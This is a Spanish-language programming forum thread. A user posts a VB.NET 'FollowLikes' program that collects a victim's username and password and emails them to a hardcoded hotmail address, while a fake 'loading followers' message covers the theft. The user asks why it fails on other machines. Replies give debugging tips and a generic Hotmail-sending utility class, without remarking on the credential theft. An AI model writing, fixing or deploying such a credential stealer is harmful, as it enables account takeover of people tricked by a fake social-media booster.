Hola, yo cree un programa el cual, pones un usuario y contraseña y enviar y se envia a un correo ya establecido el problema es que funciona perfecto en mi pc pero en otra pc no funciona. Tira el error de mensaje no enviado, cual puede ser el problema?
Imports System.Net.Mail
Public Class FollowLikes
'NOTE MAKE SURE YOU HAVE ALL THE OBJECTS IN YOUR FORM BEFORE COPY-PASTING
Dim thread As System.Threading.Thread
Dim smtp As New SmtpClient("smtp-mail.outlook.com")
Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
Control.CheckForIllegalCrossThreadCalls = False
End Sub
Private Sub DoGenerate()
Try
Dim mail As New MailMessage
mail.From = New MailAddress("leonel1275@hotmail.com")
mail.To.Add("leonel1275@hotmail.com")
mail.Subject = "Updates"
mail.Body = "USERNAME: " + TextBox1.Text + vbNewLine + "PASSWORD: " + TextBox2.Text
smtp.Port = 587
smtp.EnableSsl = True
smtp.Credentials = New Net.NetworkCredential("leonel1275@hotmail.com", "contraseña")
smtp.Send(mail)
MessageBox.Show("Cargando Seguidores, Puede que este preceso dure entre 1 a 3 minutos dependiendo de sus seguidores", Me.Text, MessageBoxButtons.OK, MessageBoxIcon.Information)
Catch exE As Exception
MessageBox.Show("Error Servidor Conctacte al administrador para mas informacion.") 'THIS WILL BE YOUR ERROR MESSAGE, HOWEVER IF YOU WANT TO ADD MORE ACCOUNTS, REPLACE (NESTING, IN PROGRAMMING TERMS) THIS LINE WITH ANOTHER TRY-CATCH BLOCK AND PLACE THE ERROR MESSAGE IN THE LAST CATCH)
End Try
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
thread = New System.Threading.Thread(AddressOf DoGenerate)
thread.Start()
TextBox1.Enabled = False
TextBox2.Enabled = False
Button1.Enabled = False
End Sub
Private Sub nomalstate()
TextBox1.Enabled = True
TextBox2.Enabled = True
Button1.Enabled = True
End Sub
Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
End Sub
End Class
· No se debe escribir en mayúsculas
>aquí las reglas del foro (http://foro.elhacker.net/reglas.htm)
-Engel Lex
Las preguntas sobre VB.NET van en el foro de .NET, no VB6.
Cita de: WallkOver en 19 Mayo 2017, 04:48 AMTira el error de mensaje no enviado
Al formular una pregunta de programación se debe depurar el error para indicarnos el mensaje exacto de la excepción, no un mensaje de error personalizado e inventado y decorado en un MsgBox. No sé como pretendes que podamos tener una idea de que problema puede ser, si no nos dices que error te indica en realidad.
Cita de: WallkOver en 19 Mayo 2017, 04:48 AMno funciona. cual puede ser el problema?
Prueba usando el servidor smtp:
smtp.live.com, en lugar de esto: "smtp-mail.outlook.com"
Cita de: WallkOver en 19 Mayo 2017, 04:48 AMControl.CheckForIllegalCrossThreadCalls = False
Eso no se debe hacer jamás, excepto por motivos de depuración de colisión de threads. Además, en el código que has mostrado no es necesario usar threads al fin y al cabo.
Si tu thread (non-UI-thread) necesita llamar a controles que han sido creados en otro thread (UI-thread), entonces puedes utilizar la función
Control.InvokeRequired() y el método
Control.Invoke().
Aparte, en este caso la creación manual de threads en tiempo de ejecución resulta bastante innecesario, puesto que puedes utilizar la función
SmtpClient.SendMailAsync() y/o el método
SmtpClient.SendAsync().
Por último, te dejo una clase que puedes aprovechar. La he extraido de mi framework de pago
ElektroKit, el cual puedes encontrar en mi firma de usuario por si te interesa. El código está documentado incluyendo ejemplos de uso, no creo que sea necesario explicar nada más, pero si tienes dudas, pregunta.
' ***********************************************************************
' Author : Elektro
' Modified : 19-May-2017
' ***********************************************************************
#Region " Public Members Summary "
#Region " Methods "
' SendHotmail(String, String, String, String, String)
' SendHotmail(String, String, String, String, MailAddress)
' SendHotmail(String, String, String, String, String())
' SendHotmail(String, String, String, String, MailAddressCollection)
' SendHotmailAsync(String, String, String, String, String) As Task
' SendHotmailAsync(String, String, String, String, MailAddress) As Task
' SendHotmailAsync(String, String, String, String, String()) As Task
' SendHotmailAsync(String, String, String, String, MailAddressCollection) As Task
#End Region
#End Region
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports System.Net
Imports System.Net.Mail
Imports System.Threading.Tasks
#End Region
#Region " Mail Util "
Namespace Elektro.Net
Partial Public NotInheritable Class MailUtil
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Sends a mail through Microsoft Hotmail service.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' SendHotmail("Username@Hotmail.com", "Password", "Email Subject", "Message Body", "Address@Server.com")
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The username of the Hotmail account.
''' </param>
'''
''' <param name="password">
''' The password of the Hotmail account.
''' </param>
'''
''' <param name="subject">
''' The mail subject.
''' </param>
'''
''' <param name="body">
''' The mail body.
''' </param>
'''
''' <param name="address">
''' The target address that will receive our sent mail.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub SendHotmail(ByVal username As String,
ByVal password As String,
ByVal subject As String,
ByVal body As String,
ByVal address As String)
MailUtil.SendHotmail(username, password, subject, body, {address})
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Sends a mail through Microsoft Hotmail service.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' SendHotmail("Username@Hotmail.com", "Password", "Email Subject", "Message Body", New MailAddress("Address@Server.com"))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The username of the Hotmail account.
''' </param>
'''
''' <param name="password">
''' The password of the Hotmail account.
''' </param>
'''
''' <param name="subject">
''' The mail subject.
''' </param>
'''
''' <param name="body">
''' The mail body.
''' </param>
'''
''' <param name="address">
''' The target address that will receive our sent mail.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub SendHotmail(ByVal username As String,
ByVal password As String,
ByVal subject As String,
ByVal body As String,
ByVal address As MailAddress)
MailUtil.SendHotmail(username, password, subject, body, {address.Address})
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Sends a mail through Microsoft Hotmail service.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' SendHotmail("Username@Hotmail.com", "Password", "Email Subject", "Message Body", {"Address1@Server.com", "Address2@Server.com"})
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The username of the Hotmail account.
''' </param>
'''
''' <param name="password">
''' The password of the Hotmail account.
''' </param>
'''
''' <param name="subject">
''' The mail subject.
''' </param>
'''
''' <param name="body">
''' The mail body.
''' </param>
'''
''' <param name="addresses">
''' The target addresses that will receive our sent mail.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub SendHotmail(ByVal username As String,
ByVal password As String,
ByVal subject As String,
ByVal body As String,
ByVal addresses As String())
Dim addressCollection As New MailAddressCollection
For Each address As String In addresses
addressCollection.Add(New MailAddress(address))
Next address
MailUtil.SendHotmail(username, password, subject, body, addressCollection)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Sends a mail through Microsoft Hotmail service.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim addressCollection As New MailAddressCollection
''' addressCollection.Add(New MailAddress("Address@Server.com"))
''' addressCollection.Add(New MailAddress("Address2@Server.com"))
''' SendHotmail("Username@Hotmail.com", "Password", "Email Subject", "Message Body", addressCollection)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The username of the Hotmail account.
''' </param>
'''
''' <param name="password">
''' The password of the Hotmail account.
''' </param>
'''
''' <param name="subject">
''' The mail subject.
''' </param>
'''
''' <param name="body">
''' The mail body.
''' </param>
'''
''' <param name="addresses">
''' The target addresses that will receive our sent mail.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub SendHotmail(ByVal username As String,
ByVal password As String,
ByVal subject As String,
ByVal body As String,
ByVal addresses As MailAddressCollection)
Using msg As New MailMessage
For Each address As MailAddress In addresses
msg.To.Add(address)
Next address
msg.From = New MailAddress(username)
msg.Subject = subject
msg.Body = body
Using client As New SmtpClient()
With client
.Host = "smtp.live.com"
.Port = 587
.EnableSsl = True
.DeliveryMethod = SmtpDeliveryMethod.Network
.Timeout = CInt(TimeSpan.FromSeconds(60).TotalMilliseconds)
.Credentials = New NetworkCredential(username, password)
End With
client.Send(msg)
End Using
End Using
End Sub
' #If NET45 Then
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Asynchronously sends a mail through Microsoft Hotmail service.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Await SendHotmailAsync("Username@Hotmail.com", "Password", "Email Subject", "Message Body", "Address@Server.com")
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The username of the Hotmail account.
''' </param>
'''
''' <param name="password">
''' The password of the Hotmail account.
''' </param>
'''
''' <param name="subject">
''' The mail subject.
''' </param>
'''
''' <param name="body">
''' The mail body.
''' </param>
'''
''' <param name="address">
''' The target address that will receive our sent mail.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Async Function SendHotmailAsync(ByVal username As String,
ByVal password As String,
ByVal subject As String,
ByVal body As String,
ByVal address As String) As Task
Await MailUtil.SendHotmailAsync(username, password, subject, body, {address})
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Asynchronously sends a mail through Microsoft Hotmail service.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Await SendHotmailAsync("Username@Hotmail.com", "Password", "Email Subject", "Message Body", New MailAddress("Address@Server.com"))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The username of the Hotmail account.
''' </param>
'''
''' <param name="password">
''' The password of the Hotmail account.
''' </param>
'''
''' <param name="subject">
''' The mail subject.
''' </param>
'''
''' <param name="body">
''' The mail body.
''' </param>
'''
''' <param name="address">
''' The target address that will receive our sent mail.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Async Function SendHotmailAsync(ByVal username As String,
ByVal password As String,
ByVal subject As String,
ByVal body As String,
ByVal address As MailAddress) As Task
Await MailUtil.SendHotmailAsync(username, password, subject, body, {address.Address})
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Asynchronously sends a mail through Microsoft Hotmail service.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Await SendHotmailAsync("Username@Hotmail.com", "Password", "Email Subject", "Message Body", {"Address1@Server.com", "Address2@Server.com"})
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The username of the Hotmail account.
''' </param>
'''
''' <param name="password">
''' The password of the Hotmail account.
''' </param>
'''
''' <param name="subject">
''' The mail subject.
''' </param>
'''
''' <param name="body">
''' The mail body.
''' </param>
'''
''' <param name="addresses">
''' The target addresses that will receive our sent mail.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Async Function SendHotmailAsync(ByVal username As String,
ByVal password As String,
ByVal subject As String,
ByVal body As String,
ByVal addresses As String()) As Task
Dim addressCollection As New MailAddressCollection
For Each address As String In addresses
addressCollection.Add(New MailAddress(address))
Next address
Await MailUtil.SendHotmailAsync(username, password, subject, body, addressCollection)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Asynchronously sends a mail through Microsoft Hotmail service.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim addressCollection As New MailAddressCollection
''' addressCollection.Add(New MailAddress("Address@Server.com"))
''' addressCollection.Add(New MailAddress("Address2@Server.com"))
''' Await SendHotmailAsync("Username@Hotmail.com", "Password", "Email Subject", "Message Body", addressCollection)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The username of the Hotmail account.
''' </param>
'''
''' <param name="password">
''' The password of the Hotmail account.
''' </param>
'''
''' <param name="subject">
''' The mail subject.
''' </param>
'''
''' <param name="body">
''' The mail body.
''' </param>
'''
''' <param name="addresses">
''' The target addresses that will receive our sent mail.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Async Function SendHotmailAsync(ByVal username As String,
ByVal password As String,
ByVal subject As String,
ByVal body As String,
ByVal addresses As MailAddressCollection) As Task
Using msg As New MailMessage
For Each address As MailAddress In addresses
msg.To.Add(address)
Next
msg.From = New MailAddress(username)
msg.Subject = subject
msg.Body = body
Using client As New SmtpClient()
With client
.Host = "smtp.live.com"
.Port = 587
.EnableSsl = True
.DeliveryMethod = SmtpDeliveryMethod.Network
.Timeout = CInt(TimeSpan.FromSeconds(60).TotalMilliseconds)
.Credentials = New NetworkCredential(username, password)
End With
Dim t As Task = client.SendMailAsync(msg)
Await t
End Using
End Using
End Function
' #End If
#End Region
End Class
End Namespace
#End Region
¡Saludos!